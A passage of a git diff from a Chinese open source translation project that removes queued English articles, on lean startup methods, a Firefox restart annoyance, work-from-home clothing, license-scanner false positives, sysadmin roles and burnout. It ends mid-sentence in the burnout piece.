policy to reduce motion waste. - * **Extra processing:** If you are doing the same validation test repeatedly on the same product, this extra processing might be a waste. Come up with a process flow in your development cycle so that you avoid extra processing. - - - -![Lean waste management][15] - -(Ip Sam, [CC BY-SA 4.0][3]) - -As the CEO of your open source project, your time is very valuable. If it's your job, you only have eight hours a day. If it's your side hustle, your time is even more limited. Lean time management involves a very simple matrix, as shown below. If you have a task that's important to the vision and must be done by you, go ahead and do it. If the task is important to the vision but can be done by a team member, delegate it. If the task is not important to the vision and must be done by you, minimize the time you spend on it. Finally, if the task is not vision-important and can be done by others, it is a waste of resources. - -![Lean time management][16] - -(Ip Sam, [CC BY-SA 4.0][3]) - -### Develop a lean strategy - -Lean strategy is a good way to analyze your open source product to come up with a long-term strategy. Ask yourself these questions: If your open source product did not exist, would your customers suffer any real loss? If so, what type of loss would it be? Is it difficult for your customers to replace your products to meet their needs? For example, if I am doing Ansible playbooks for cluster automation, can my customers replace my Ansible playbooks using a set of shell scripts? What would be the impact on the operational costs and learning curve? - -![Lean strategy questions][17] - -(Ip Sam, [CC BY-SA 4.0][3]) - -The lean strategy hierarchy is (from bottom to top) mission, values, vision, strategy, and balanced scorecard. At the base is your mission: Why do your open source project and team exist? What is your mission statement? Next are the values your team believes in. Vision is how you expect your product to evolve in the next two years. Strategy requires strategic planning. At the very top is the balanced scorecard, where you implement and monitor the plan for your open source project. - -![Lean strategy hierarchy][18] - -(Ip Sam, [CC BY-SA 4.0][3]) - -Your lean strategy statement includes your objective, scope, and competitive advantage. The objective defines what your strategy is designed to do and achieve in a specific time frame. The scope identifies the strategy requirements for your open source product to be successful. Your competitive advantage is the core of your strategy. How will you compete with competitors using this product and your strategy to achieve your objective? - -![Lean strategy statement][19] - -(Ip Sam, [CC BY-SA 4.0][3]) - -Pricing and differentiation are two important factors for achieving profit. You want to offer low price and high differentiation. Ask yourself: How is your product different from your competitors'? What are some features that are unique to your product? If you can maximize differentiation and minimize pricing, you will get to the profit frontier line. - -![Lean Profit Management][20] - -(Ip Sam, [CC BY-SA 4.0][3]) - -### Look to the future - -After running your open source project for a while and tracking everything, it's time to consider where you want to focus next on your journey as the CEO of your open source project. - -Begin by assessing perspective, capability, and profit potential. - - * Perspective involves how your product fulfills customers' needs. For example, can my Ansible playbook reduce manual operations in the OpenShift cluster to save 20% of the customer's operation costs? - * Capability is what your product can do and what new features it can offer. For example, can my Ansible playbooks operate in a way that supports OpenShift 3 and OpenShift 4 clusters? On-premises clusters versus AWS clusters? - * Profit potential includes how much revenue your product is generating for you in a time frame. Does your product fall into the profit frontier margin in the image above? - - - -![What's next?][21] - -(Ip Sam, [CC BY-SA 4.0][3]) - -Open source is the future. There is a lot going on in the open source community, and many companies are moving to open source models. Open source is a great way to get people involved in your project, and lean startup principles help you manage your open source project with efficiency. It will help you and your open source project go a long way. - --------------------------------------------------------------------------------- - -via: https://opensource.com/article/21/7/lean-startup-open-source - -作者:[Ip Sam][a] -选题:[lujun9972][b] -译者:[译者ID](https://github.com/译者ID) -校对:[校对者ID](https://github.com/校对者ID) - -本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 - -[a]: https://opensource.com/users/ipkeisam -[b]: https://github.com/lujun9972 -[1]: https://opensource.com/sites/default/files/styles/image-full-size/public/lead-images/mobile-demo-device-phone.png?itok=y9cHLI_F (Mobile devices are a big part of our daily lives) -[2]: https://opensource.com/sites/default/files/uploads/1_opensourceidea.jpg (A good open source idea) -[3]: https://creativecommons.org/licenses/by-sa/4.0/ -[4]: https://opensource.com/sites/default/files/uploads/2_positioning.jpg (Position your open source idea) -[5]: https://opensource.com/sites/default/files/uploads/3_leanstartupcycles.jpg (The lean startup cycle diagram) -[6]: https://opensource.com/sites/default/files/uploads/4_leanstartupmethodologies.jpg (Lean startup methodologies) -[7]: https://opensource.com/sites/default/files/uploads/5_leanstartupagile.jpg (Lean startup and agile) -[8]: https://opensource.com/sites/default/files/uploads/6_designthinkingleanstartupagile.jpg (Design thinking, lean startup, and agile cycles together) -[9]: https://opensource.com/sites/default/files/uploads/7_mvps.jpg (Lean startup MVPs) -[10]: https://opensource.com/sites/default/files/uploads/8_projectmanagementtriangle.jpg (Lean project management) -[11]: https://opensource.com/sites/default/files/uploads/9_leanreleases.jpg (Lean releases) -[12]: https://opensource.com/sites/default/files/uploads/10_teammaturity.jpg (Team maturity graph) -[13]: https://opensource.com/sites/default/files/uploads/11_leanteammanagement.jpg (Lean team management) -[14]: https://opensource.com/article/19/10/test-driven-development-best-practices -[15]: https://opensource.com/sites/default/files/uploads/12_leanwastemanagement.jpg (Lean waste management) -[16]: https://opensource.com/sites/default/files/uploads/13_leantimemanagement_0.jpg (Lean time management) -[17]: https://opensource.com/sites/default/files/uploads/14_leanstrategy.jpg (Lean strategy questions) -[18]: https://opensource.com/sites/default/files/uploads/15_leanstrategyhierarchy.jpg (Lean strategy hierarchy) -[19]: https://opensource.com/sites/default/files/uploads/16_leanstrategystatement.jpg (Lean strategy statement) -[20]: https://opensource.com/sites/default/files/uploads/17_profitfrontier.jpg (Lean Profit Management) -[21]: https://opensource.com/sites/default/files/uploads/18_whatsnext.jpg (What's next?) diff --git a/sources/talk/20210716 Dear Mozilla, Please Remove This Annoying ‘Feature- from Firefox.md b/sources/talk/20210716 Dear Mozilla, Please Remove This Annoying ‘Feature- from Firefox.md deleted file mode 100644 index cd4031ab75..0000000000 --- a/sources/talk/20210716 Dear Mozilla, Please Remove This Annoying ‘Feature- from Firefox.md +++ /dev/null @@ -1,66 +0,0 @@ -[#]: subject: (Dear Mozilla, Please Remove This Annoying ‘Feature’ from Firefox) -[#]: via: (https://news.itsfoss.com/mozilla-annoying-new-tab/) -[#]: author: (Abhishek https://news.itsfoss.com/author/root/) -[#]: collector: (lujun9972) -[#]: translator: ( ) -[#]: reviewer: ( ) -[#]: publisher: ( ) -[#]: url: ( ) - -Dear Mozilla, Please Remove This Annoying ‘Feature’ from Firefox -====== - -Despite its receding user base, Mozilla Firefox has remained my primary browser. Mozilla has revamped Firefox in the last couple of years and have added several features to it specially focused on protecting user privacy. I respect that. - -However, there is one ‘feature’ that annoys the hell out of me. This so-called feature relates to the auto-update of Firefox in the background. - -Auto-upgrade immediately remind of Windows updates. I mean, Windows is infamous for the forced restarts and updates, right? - -![Image Credit: Digital Trend][1] - -But why am I talking about this in reference to Firefox? Because Firefox, too, has a ‘Windows-que’ feature. - -It updates Firefox in the background. No problem there. That’s not entirely a bad thing. - -But then if you try to open a website in the new tab, it won’t let you do that unless you restart the browser. - -![][2] - -And that small thing stops the users from keep going with their work. What the hell, Mozilla! - -You may argue that it’s not that much of a pain. A quick restart won’t bring your world down, Abhishek. - -Right but imagine you are busy at work. You have more than 20 tabs opened. That’s normal if you are trying to troubleshoot as a developer, sysadmin, student or just trying to learn something in your field of interest. - -You cannot open a new webpage anymore. You have to restart the browser and when you restart, you have to click on each tab manually because Firefox does not load the previously opened webpages on its own. Sure you can see the tabs but the web pages are not actually loaded. - -This should be considered a bug, not a feature. Users should be given a choice to between rebooting right away or doing it later. - -I don’t remember any other browser infringing like this on its users, not even Google Chrome. But somehow Mozilla eggheads thought that this is a good “feature” to add to their open source browser. - -No, Mozilla! This is not a feature. This is a bug and should be fixed. You just cannot annoy your users like this otherwise they will be forced to use [alternate browsers like Brave][3] or Vivaldi and of course, Chrome. - -I end my rant and leave the field open for you. What do you think of these forced restarts by Mozilla Firefox? - -### Big Tech Websites Get Millions in Revenue, It's FOSS Got You! - -If you like what we do here at It's FOSS, please consider making a donation to support our independent publication. Your support will help us keep publishing content focusing on desktop Linux and open source software. - -I'm not interested - --------------------------------------------------------------------------------- - -via: https://news.itsfoss.com/mozilla-annoying-new-tab/ - -作者:[Abhishek][a] -选题:[lujun9972][b] -译者:[译者ID](https://github.com/译者ID) -校对:[校对者ID](https://github.com/校对者ID) - -本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 - -[a]: https://news.itsfoss.com/author/root/ -[b]: https://github.com/lujun9972 -[1]: data:image/svg+xml;base64,PHN2ZyBoZWlnaHQ9IjQyNyIgd2lkdGg9Ijc4MCIgeG1sbnM9Imh0dHA6Ly93d3cudzMub3JnLzIwMDAvc3ZnIiB2ZXJzaW9uPSIxLjEiLz4= -[2]: data:image/svg+xml;base64,PHN2ZyBoZWlnaHQ9IjMwOCIgd2lkdGg9Ijc4MCIgeG1sbnM9Imh0dHA6Ly93d3cudzMub3JnLzIwMDAvc3ZnIiB2ZXJzaW9uPSIxLjEiLz4= -[3]: https://news.itsfoss.com/chrome-like-browsers-2021/ diff --git a/sources/talk/20210718 17 open source technologists share their work-from-home uniforms.md b/sources/talk/20210718 17 open source technologists share their work-from-home uniforms.md deleted file mode 100644 index b8dd681da9..0000000000 --- a/sources/talk/20210718 17 open source technologists share their work-from-home uniforms.md +++ /dev/null @@ -1,117 +0,0 @@ -[#]: subject: (17 open source technologists share their work-from-home uniforms) -[#]: via: (https://opensource.com/article/21/7/work-home-uniforms) -[#]: author: (Jen Wike Huger https://opensource.com/users/jen-wike) -[#]: collector: (lujun9972) -[#]: translator: ( ) -[#]: reviewer: ( ) -[#]: publisher: ( ) -[#]: url: ( ) - -17 open source technologists share their work-from-home uniforms -====== -Nerdwear of the technically employed. What's your style? -![Taking a walk outside][1] - -As the world turns and some folks begin returning to the office, I feel it's a good time to ask our community of open source techies: _What's your work-from-home (WFH) uniform?_ - -Do you dress like you would if you were going into the office? Or are you more comfortable in workout clothes or even your PJs? Do you have a template you stick to most days? - -I have a format that helps me feel both productive and comfortable, and if I need to run an errand in public, I don't have to change first: A clean, nice-fitting shirt (T-shirts are OK) on top of comfortable pants (yoga is OK but not pajama). I've leaned into my stash of T-shirts from fun conferences I've attended with people I miss seeing and locales in my home state that make me proud. - -Some Opensource.com friends and contributors weigh in on their work-from-home uniforms below. What's yours? - -* * * - -Over the last eight years, I've learned that if I try to work in my PJs, I will get nothing done. In warm weather, I'm in shorts (cargo, of course) and a T-shirt. In cooler weather, it's jeans and a T-shirt with a sweater or hoodie. Never shoes, but I'll wear socks once my feet start getting cold. —[Ben Cotton][2] - -Last winter, I un-ironically told two friends: "I miss my clothes." Most of my wardrobe went untouched for a year, not because I had outgrown or no longer liked my outfits, but because I had nowhere to wear them. Working from home means I'm exercising at least once before, during, or after work. Between walking a (very brisk-paced) dog and taking a class at the gym on my lunch break, I often work in sneakers complete with bike shorts and a tank top. But when the situation calls, I can pop a cardigan on to look more professional. —[Lauren Maffeo][3] - -Before the pandemic, I tried dressing like I was going to do something that day. WFH was a privilege, and I really appreciated it, as it afforded me the ability to take care of my needs and work at the same time. Once the pandemic hit though, it became tiring to put on a front that I was going somewhere because, well, no one was. Most of the time, I'm wearing a Red Hat or Kubernetes/Cloud Native T-shirt and workout shorts. I live in Michigan, though, so those shorts get swapped out for joggers when it's cold. But that's pretty rare given my office is pretty warm thanks to all the computers. Oh, and slippers, like right now because my feet are cold for some reason. —[Chris Short][4] - -My WFW (work from work) uniform was always conference T's, jeans/cargo pants, and sandals or sneakers. So, my wardrobe hasn't changed... Well, that's not exactly true: Having not replenished my supply of conference T's, some of them have become a bit ratty, but I'm not on camera. And my hair is a bit messier. Sidenote: The New York Times had a recent [article][5] on a slide in hygiene and grooming during COVID, and, according to the article, many are saying they're going to remain a bit sloppier post-COVID. —[Kevin Cole][6] - -I used to wear suits and professional woman's wear for the office. Now I get to go back to the tech WFH uniform: nerd shirt, pants/skirt. Often I add a scarf to jazz it up for video. I wear shoes because my feet get cold. My colleagues mock me, but I do my hair and makeup every day. How I missed all my nerdware and hoodies due to "serious non-tech office jobs." —[Heather Leson][7] - -I try to stay dressed at home like there could be a strong reason to go out at short notice with my shoes and go-bag near the door. Too many years living in earthquake country, I guess. —[Stefano Maffulli][8] - -I wear pajamas most of the time, but I keep a "video shirt" ready in case I need to go on video for some reason. For a template, my day is driven by the calls and meetings on my calendar. During my breaks there, I'll run up and down the stairs a few times just to stretch my legs. —[Peter Gervase][9] - -No video meetings for me, but shorts and T-shirts are the regular. Jeans when it's colder. —[Bob Murphy][10] - -I love playing around with color, so I wear five different colored tops (mostly not ironed) for five days, paired with comfortable cotton pants. I love my earrings, so I match my tops and earrings. Every now and then, I do wear my jeans and other formal outfits to make sure that I fit into them. —[Nimisha Mukherjee][11] - -I start my day in gym clothes because I squeeze in a morning workout before I hit the keyboard. My current WFH uniform is a T-shirt or polo and shorts. I try to wear shorts as much as I can when I WFH. In fall and winter, I stick to chamois shirts, fleeces, and jeans. I end my day back in gym clothes because I hit the gym four out of five nights during the week. —[Will Kelly][12] - -My WFH outfit is the same as my office outfit: knit shirts and jeans. Unlike some of my colleagues, I have not grown a beard and let my hair get long and shaggy. A bike racer I knew once said, "You dress like a bum, you ride like a bum," and I feel the same is true for me: "You dress like a bum, you work like a bum." —[Gary Smith][13] - -I learned long ago when I started full-time remote work, that I needed to do the whole "get up, get ready, get dressed like you were going into the office" thing, providing some structure to my day and to get my head in "the right place" for work. Jeans, T-shirt, socks, boots (or shoes, but mostly boots1), and my ever-present head wrap. I don't know about everyone else, but I have a space that is dedicated for work, and I have my EDC2 bag that I take to and from my home office with my personal belongings, the same as I would any other job. When it is time to stop working, I pick up my bag and take it with me as a signal to myself that I'm done for the day. —[Kevin Sonney][14] -1 You keep livestock, you wear boots. I'm sure you can guess why. -2 "Every-day carry" - -I get up every morning at about the same time, around 7:30am, and get dressed in comfortable, casual clothes. I've been doing this for the last eight years since I retired. I have a light breakfast, and in the summer, I walk between four and five miles. Then I return home and begin my morning routine of juice or tea and toast, then checking email, attending meetings (more on Zoom or other virtual platforms this year). Keeping a routine is important to me, and dressing comfortably is, too. —[Don Watkins][15] - -At one point in my life, I was a chef. So, I have a bunch of chef pants, which are really comfortable but not stylish. I've been wearing them over the winter combined with some of my "ugliest" conference T-shirts. A couple of years ago, a coworker visited Russia and was staying with a family that had a grandmother who loved knitting wool socks. So, he brought wool socks back for everyone. So, ugly chef pants, ugly conference T-shirt, and wool socks hand-knitted by a Russian grandma. —[Craig Sebenik][16] - -My WFH uniform is not much different from my regular outfit. I like to be comfortable, no matter if I'm at home or talking in front of a thousand people at a conference. That means that I'm in T-shirts all around the year, no matter if it's WFH or a large IT event. It's one of the perks of being an engineer, not in sales or management. The only difference is that I wear jeans in public and something more comfortable, like sports pants, at home. —[Peter Czanik][17] - -It has been at least 30 years since I wore suits, then (for a while) "business casual." Most days now, I start early in my jammies. Wednesdays, I start with my yoga pants and top because my online yoga class starts at 9:30. Other days I change into jeans or cargo shorts and a solid black, conference, or other geeky T-shirt after breakfast. I always shave because that is one thing that makes me feel civilized. I am "retired," so I don't feel any need at all to have a different video presence other than my "normal" mode of dress. Besides, the only video meetings I attend are the Opensource.com and Enable Sysadmin weekly writer calls. —[David Both][18] - -The only rule is there are no rules! I wear whatever I want, mostly a Red Hat T-shirt and shorts or jogging pants. If I have an important meeting, I try to be more presentable. —[Kedar Vijay Kulkarni][19] - -Before walking the dogs, I am in sleepwear and a dressing gown while eating toast and having that first coffee. After the dog walk, I'm in shorts/polo/T-shirt if it's warm enough, or jeans/cargo pants if it's colder. I tend towards classic Shadowman shirts if I'm not on customer calls or major internal briefings, and the newer Red Hat logo-based shirts if I need official branding. Sadly, we're heading into winter here in New Zealand, so hoodies and jeans are starting to become a bit more normal. For my 3am calls with the United States, I've got a snug dressing gown and a warm drink. —[Steven Ellis][20] - -Thanks to the Opensource.com Correspondent program, here's my Spring, Summer, Fall, and Winter uniform. —[Chris Hermansen][21] - -![Opensource.com swag, a spring outfit][22] - -  - -![Opensource.com swag, a winter outfit][23] - -  - -![Opensource.com swag, a summer outfit][24] - -Summer - -* * * - -What's your WFH uniform? Are you in a T-shirt and pajama pants, or do you dress as if you're going into the office? Please share your remote work attire in the comments below. - --------------------------------------------------------------------------------- - -via: https://opensource.com/article/21/7/work-home-uniforms - -作者:[Jen Wike Huger][a] -选题:[lujun9972][b] -译者:[译者ID](https://github.com/译者ID) -校对:[校对者ID](https://github.com/校对者ID) - -本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 - -[a]: https://opensource.com/users/jen-wike -[b]: https://github.com/lujun9972 -[1]: https://opensource.com/sites/default/files/styles/image-full-size/public/lead-images/walking_selfcare_wfh_outside_520.png?itok=64WmWspJ (Taking a walk outside) -[2]: https://opensource.com/users/bcotton -[3]: https://opensource.com/users/lmaffeo -[4]: https://opensource.com/users/chrisshort -[5]: https://www.nytimes.com/2021/05/06/health/shower-bathing-pandemic.html -[6]: https://opensource.com/users/kjcole -[7]: https://opensource.com/users/hleson -[8]: https://opensource.com/users/reed -[9]: https://opensource.com/users/pgervase -[10]: https://opensource.com/users/murph -[11]: https://opensource.com/users/nimisha -[12]: https://opensource.com/users/willkelly -[13]: https://opensource.com/users/greptile -[14]: https://opensource.com/users/ksonney -[15]: https://opensource.com/users/don-watkins -[16]: https://opensource.com/users/craig5 -[17]: https://opensource.com/users/czanik -[18]: https://opensource.com/users/dboth -[19]: https://opensource.com/users/kkulkarn -[20]: https://opensource.com/users/steven-ellis -[21]: https://opensource.com/users/clhermansen -[22]: https://opensource.com/sites/default/files/uploads/spring_2.jpg (Opensource.com swag, a spring outfit) -[23]: https://opensource.com/sites/default/files/uploads/winter.jpg (Opensource.com swag, a winter outfit) -[24]: https://opensource.com/sites/default/files/uploads/summer.jpg (Opensource.com swag, a summer outfit) diff --git a/sources/talk/20210718 Is Open-Source Software Secure.md b/sources/talk/20210718 Is Open-Source Software Secure.md index d6d249b54b..01d262a018 100644 --- a/sources/talk/20210718 Is Open-Source Software Secure.md +++ b/sources/talk/20210718 Is Open-Source Software Secure.md @@ -2,7 +2,7 @@ [#]: via: (https://news.itsfoss.com/open-source-software-security/) [#]: author: (Ankush Das https://news.itsfoss.com/author/ankush/) [#]: collector: (lujun9972) -[#]: translator: ( ) +[#]: translator: (CanYellow) [#]: reviewer: ( ) [#]: publisher: ( ) [#]: url: ( ) diff --git a/sources/talk/20210727 Avoid this common open source scanning error.md b/sources/talk/20210727 Avoid this common open source scanning error.md deleted file mode 100644 index a30000b983..0000000000 --- a/sources/talk/20210727 Avoid this common open source scanning error.md +++ /dev/null @@ -1,90 +0,0 @@ -[#]: subject: (Avoid this common open source scanning error) -[#]: via: (https://opensource.com/article/21/7/open-source-scanning-error) -[#]: author: (Jeffrey Robert Kaufman https://opensource.com/users/jkaufman) -[#]: collector: (lujun9972) -[#]: translator: ( ) -[#]: reviewer: ( ) -[#]: publisher: ( ) -[#]: url: ( ) - -Avoid this common open source scanning error -====== -Why do source-code scanners sometimes report incorrect license -information? -![Target practice][1] - -[Pete Townshend][2], legendary guitar player for British rock band The Who, is well-known for playing suspended chords. Suspended chords add musical tension to a song. For those piano players reading this who (like me) love to play in the key of C, simply play a C major chord (the notes C, E, and G) and replace the E note with either an F or a D. You are now on your way to becoming a British rock star![1][3] - -Music is often filled with combinations of chords, like suspended chords, that provide tension, then release. Although adding tension to a musical composition is desirable, adding tension to scanning software with open source tools is certainly unwelcome. - -An issue at Red Hat involving scanning software led me to write this article. - -Recently, an important customer raised a concern after scanning some of our software's source code. As you may know, Red Hat provides the source code of its software. The customer's scanning tool reported that a certain software file was licensed under the GPLv3, which was not expected. In fact, the software file was explicitly and solely marked as being licensed under the Apache 2.0 license. The customer requested that we look into this issue, and we were happy to do so. - -After our in-depth research, we concluded that their scanning software is clearly incorrect. We developed a hypothesis that explains the anomaly, which I will now explain. - -A popular type of open source software scanning tool compares the software being scanned to vast repositories of preexisting open source software and reports any matches. For example, assume there is an open source file named MIT.c that returns an integer one higher than the integer passed to it. In other words, it is a simple adder. It could look like this: - - -``` -Copyright 2021 Jeffrey R. Kaufman - -Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions: - -The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software. - -THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. - -int foo(int x) { -        x+=1; -        return x; -} -``` - -For this hypothetical example, assume that MIT.c was placed in a GitHub repository named The Simple Maths Project as an open source community-based project for solving simple arithmetic problems. This project contains many other similar C language files, all under the same MIT License. - -Since this hypothetical example function is so useful (of course it isn't, but stay with me here), it was included to provide simple arithmetic utility in many other open source projects on GitHub. Also, assume that one of these other projects, named The Sustained Chord Calculator, uses this MIT.c source file from The Simple Maths Project to help calculate the musical formulation for suspended chords. - -The hypothetical Suspended Chord Calculator project, in addition to using MIT.c, also includes several source files licensed under GPLv2. When The Suspended Chord Calculator project is compiled, you can assume the resulting executable will contain both GPLv2-licensed software and the MIT-licensed MIT.c as one combined work in such a way that MIT.c cannot be reasonably considered independent and a separate work in itself. That resulting executable would rightly be considered licensed under the GPLv2, and the obligations of the GPLv2 must be complied with. Compliance means providing (or offering to provide for three years) all of the sources used to create the binary or executable, including all the software files licensed under GPLv2 and MIT.c. - -Moving back to our problem… - -Suppose one of your software products uses MIT.c, in addition to your own authored software. Since MIT.c is solely under the MIT License, this would obligate you to comply with only the MIT License terms, which is easy to do. Typically, people comply by providing a copy of the MIT License along with the copyright notice with their software distribution. Or, if you are a company like Red Hat, providing the source code that contains the license text is also a method of compliance—and my recommended approach. (See [_An economically efficient model for open source software license compliance_][4].) - -If you decide to scan the source code of your software product using a source-code scanner of the type that references repositories of open source projects, your scanner may likely report that MIT.c is licensed under the GPLv2! Why? Because it will see MIT.c, in source-code form, associated with The Suspended Chord Calculator project licensed under the GPLv2 and assume, naively, that MIT.c also must be subject to GPLv2 terms. This is notwithstanding that the MIT.c source file is clearly marked with an MIT License, and you copied it only from the original MIT-licensed The Simple Maths Project. - -This is an unfortunate consequence of using these types of scanning systems. In this example, such systems will erroneously report generally every single open source project in its repository that uses MIT.c. There could be tens, hundreds, or even thousands of programs that use MIT.c, all under different licenses, and you will be provided with a giant stack of projects to review indicating that MIT.c could be MIT licensed, BSD licensed, GPLv2 licensed, or, frankly, carry any other open source license under the sun from a project that just happens to use MIT.c. And in the end, you will discover that the file was solely under MIT.c. In my experience, there are very few situations where this type of scanning is warranted and, even when it is justifiable, that the file license results are something other than you expected. It happens, but it is rare. - -There is another type of software scanning system that reports on licensing by looking only for matches to known license texts in the source files of the project. This type of scanner would detect the MIT License text in the source code and correctly report that the software is subject to the terms of the MIT License, notwithstanding the fact that MIT.c may be used in many other open source projects under varying license terms. Although this type of source-code scanner can also have false positives, in my experience, source-code scanners of the type that reference repositories of open source projects have significantly higher rates of misreporting for the reasons discussed previously. - -Frankly, source-code scanners that reference repositories of open source software to ascertain license data can be useful in certain situations, such as when you may be hyper concerned that an engineer has inadvertently copied and pasted source code from an unacceptable license without also copying over the applicable license text. In that situation, a source-code scanner of the type that looks only for matches to license texts would not detect that inclusion. However, as I stated before, this situation is exceptionally rare, making repository-matching source-code scanners prone to errors and a waste of resources for tracking down the truth. This is time and resources that could be devoted to more issues of substance. You can also address this situation by training your developers to never copy software from another source without also copying over any applicable license. - -A scanner that reports the incorrect license is doing a tremendous disservice to your organization by requiring you to resolve a false positive. Countless hours of wasted resources are devoted to these wild-goose chases…as our customer experienced. - -We won't be fooled again! - -* * * - -_I want to thank my colleague Richard Fontana for suggesting the title of this article. Read some of his great articles on Opensource.com under the [Law section][5]._ - -1\. If you want to learn more about music theory and suspended chords, check out Rick Beato's analysis of another great track from The Who at [What Makes This Song Great?™ Ep. 96 The Who][6]. - --------------------------------------------------------------------------------- - -via: https://opensource.com/article/21/7/open-source-scanning-error - -作者:[Jeffrey Robert Kaufman][a] -选题:[lujun9972][b] -译者:[译者ID](https://github.com/译者ID) -校对:[校对者ID](https://github.com/校对者ID) - -本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 - -[a]: https://opensource.com/users/jkaufman -[b]: https://github.com/lujun9972 -[1]: https://opensource.com/sites/default/files/styles/image-full-size/public/lead-images/target-security.png?itok=Ca5-F6GW (Target practice) -[2]: https://en.wikipedia.org/wiki/Pete_Townshend -[3]: tmp.K7c2OyIB7H#1 -[4]: https://opensource.com/article/17/9/economically-efficient-model -[5]: https://opensource.com/tags/law -[6]: https://www.bing.com/videos/search?q=rick+biato+what+makes+this+song+great+who&view=detail&mid=BBF5E938C3E5AD6D73BCBBF5E938C3E5AD6D73BC&FORM=VIRE diff --git a/sources/talk/20210730 What do we call post-modern system administrators.md b/sources/talk/20210730 What do we call post-modern system administrators.md deleted file mode 100644 index 3ae582f9cc..0000000000 --- a/sources/talk/20210730 What do we call post-modern system administrators.md +++ /dev/null @@ -1,76 +0,0 @@ -[#]: subject: (What do we call post-modern system administrators?) -[#]: via: (https://opensource.com/article/21/7/system-administrators) -[#]: author: (Joshua Allen Holm https://opensource.com/users/holmja) -[#]: collector: (lujun9972) -[#]: translator: ( ) -[#]: reviewer: ( ) -[#]: publisher: ( ) -[#]: url: ( ) - -What do we call post-modern system administrators? -====== -Our community discusses the responsibilities, possible titles, and -potential skills of today's sysadmins. -![Multi-colored and directional network computer cables][1] - -For today's sysadmin, many companies expect you to have cross-platform knowledge, network knowledge, _and_ application knowledge. Add to that a dash of programming ability, a pinch of sysadmin experience, a heaping portion of social skills, and a fanatical commitment to reliability and automation. - -What do we call this new, post-modern sysadmin? Do we use the same term and simply stretch the responsibilities? Or do we give this evolved role a new name? - -We chatted with friends at [Enable Sysadmin][2] and in the Opensource.com Correspondent program to get their thoughts. Here's what we heard: - -### Possible titles - - * How about Enterprise Architect or Solutions Architect?  - * Or are we talking more of a DevOps Engineer or Site Reliability Engineer? - * What level of experience and expertise are we looking at? Maybe an Applications Specialist or IT Helpdesk Administrator? - * Overheard: Platform Engineer or System Engineer - - - -### Potential skills - - * setting up a new user account in Google Workplace or similar - * configuring and ordering laptop, cell phone, service contracts - * software training (teaching a new user how to use kanban boards, shared storage solutions, or similar) - * preparing “procedures” manuals - * monitoring and checking security settings and storage usage - * keeping an eye on pooled storage - * deactivating a user leaving us - * arranging for pickup of equipment - * working with a user and provider having personal equipment difficulties - * keeping an eye on internet connection services, telephone services - - - -### Lingering questions - -Does today's sysadmin need to understand clustering, containers, FS sharding, unicast/multicast coms, and other similar topics? - -Is there a dividing line between infrastructure and systems? - -Could the title of systems administrator remain the same while the role changes? - -Does the image of a sysadmin crawling under the desk to fix broken cupholders still apply? - -Are most of today's sysadmins already using a PaaS approach in tandem with doing the basic administrative tasks of managing users, accounts, applications, and licenses? - -Are they also a helpful resource for colleagues, acting as an interpersonal bridge between other departments and IT? - -**Share your thoughts and experiences in the comments.** - --------------------------------------------------------------------------------- - -via: https://opensource.com/article/21/7/system-administrators - -作者:[Joshua Allen Holm][a] -选题:[lujun9972][b] -译者:[译者ID](https://github.com/译者ID) -校对:[校对者ID](https://github.com/校对者ID) - -本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 - -[a]: https://opensource.com/users/holmja -[b]: https://github.com/lujun9972 -[1]: https://opensource.com/sites/default/files/styles/image-full-size/public/lead-images/connections_wires_sysadmin_cable.png?itok=d5WqHmnJ (Multi-colored and directional network computer cables) -[2]: https://www.redhat.com/sysadmin/ diff --git a/sources/talk/20210731 Dealing with burnout in open source.md b/sources/talk/20210731 Dealing with burnout in open source.md deleted file mode 100644 index 6d45dcf71c..0000000000 --- a/sources/talk/20210731 Dealing with burnout in open source.md +++ /dev/null @@ -1,105 +0,0 @@ -[#]: subject: (Dealing with burnout in open source) -[#]: via: (https://opensource.com/article/21/7/burnout-open-source) -[#]: author: (Kiran Oliver https://opensource.com/users/kiranoliver-0) -[#]: collector: (lujun9972) -[#]: translator: ( ) -[#]: reviewer: ( ) -[#]: publisher: ( ) -[#]: url: ( ) - -Dealing with burnout in open source -====== -What it is, why you should care, and how you can help prevent burnout. -![Red heart with text "you are not alone"][1] - -Burnout is something you don't expect to happen to you—until it does. The technology industry is one of the worst offenders; over [60% of industry professionals][2] report they've experienced burnout. Sixty percent! Chances are, you or someone you know has dealt with it. How can we tackle such a staggering burnout rate if those who make decisions about mental health barely know what burnout is, never mind how to prevent it? - -The answer is to start simple. Ask the question "what is burnout?" and go from there. - -![Definition of burnout][3] - -(Kiran Oliver, [CC BY-SA 4.0][4]) - -### Autistic burnout, neurodivergence, and mental health - -At [Upstream 2021][5], the Tidelift event that kicked off Maintainer Week celebrating open source maintainers, I gave [a talk about burnout in open source][6]. The individuals who attended my presentation shared their experiences with burnout and mental health as a whole, which are undeniably linked. - -Burnout manifests in cognitive, emotional, and physical symptoms. It can take on different forms that are unique to the individual experiencing it. - -Also, people who are [neurodivergent][7] (e.g., have autism, ADD/ADHD, dyslexia, dyspraxia, etc.) may have standard burnout symptoms, but it can also manifest as [autistic burnout][8], which is often harder to pin down. Crucially, burnout in neurodivergent employees can look like someone is slacking off, not doing their job, or missing important details, when none of these things are correct. - -### How to help people experiencing burnout - -When addressing burnout on a team, managers can 